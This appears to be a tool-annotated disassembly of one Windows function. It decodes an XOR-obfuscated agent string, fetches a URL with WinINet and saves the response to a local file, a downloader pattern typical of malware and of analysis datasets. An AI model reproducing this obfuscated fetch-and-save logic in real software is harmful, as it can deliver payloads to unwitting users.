Function at 0x140046b40
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x840]
sub rsp, 0x940
mov rax, qword [0x140067010]
xor rax, rsp
mov qword [rbp + 0x830], rax
mov r14, r8
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x40], rcx
mov rcx, rdx
cmp qword [rdx + 0x18], 0x10
jb 0x140046b87
mov rcx, qword [rdx]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntryA]
mov dword [rsp + 0x30], 0xb5f3e9f9
mov dword [rsp + 0x34], 0xfaf2f8ff
mov dword [rsp + 0x38], 0xc2cbd5d3
mov word [rsp + 0x3c], 0xc8
mov byte [rsp + 0x3e], 1
xor r15d, r15d
mov ecx, r15d
nop word [rax + rax]
lea eax, [rcx - 0x68]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x140046bc0
mov byte [rsp + 0x3e], r15b
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x30]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140046db1
cmp qword [rbx + 0x18], 0x10
jb 0x140046c05
mov rbx, qword [rbx]
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
je 0x140046da8
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x50]
call main
cmp qword [r14 + 0x18], 0x10
jb 0x140046c4c
mov r14, qword [r14]
mov r8d, 0x20
mov rdx, r14
lea rcx, [rsp + 0x50]
call fcn.14004fb00
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], r14
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
cmp qword [rbp - 0x28], 0
jne 0x140046ca0
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea r9, [rsp + 0x40]
mov r8d, 0x7d0
lea rdx, [rbp + 0x60]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140046cd9
mov r8d, eax
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
cmp dword [rsp + 0x40], 0
ja 0x140046ca0
lea rcx, [rsp + 0x58]
call fcn.140050210
test rax, rax
jne 0x140046d06
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x50], r14
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x58], rax
cmp qword [rbp - 0x28], 0
je 0x140046d75
mov rax, qword [rsp + 0x70]
lea rcx, [rbp - 0x38]
cmp qword [rax], rcx
jne 0x140046d75
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x20]
mov qword [rax], rcx
mov rax, qword [rbp - 0x70]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp - 0x58]
mov dword [rax], edx
cmp byte [rbp - 0x2c], 0
je 0x140046d85
lea rcx, [rsp + 0x58]
call fcn.140050210
lea rcx, [rsp + 0x58]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rsp + 0x60]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp - 8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140046db1
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov word [rsp + 0x40], 0x7a
mov byte [rsp + 0x42], 0
mov qword [rdi], r15
mov qword [rdi + 0x10], r15
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140046de0
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400506b0
mov rax, rdi
mov rcx, qword [rbp + 0x830]
xor rcx, rsp
call fcn.140052570
mov rbx, qword [rsp + 0x988]
add rsp, 0x940
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret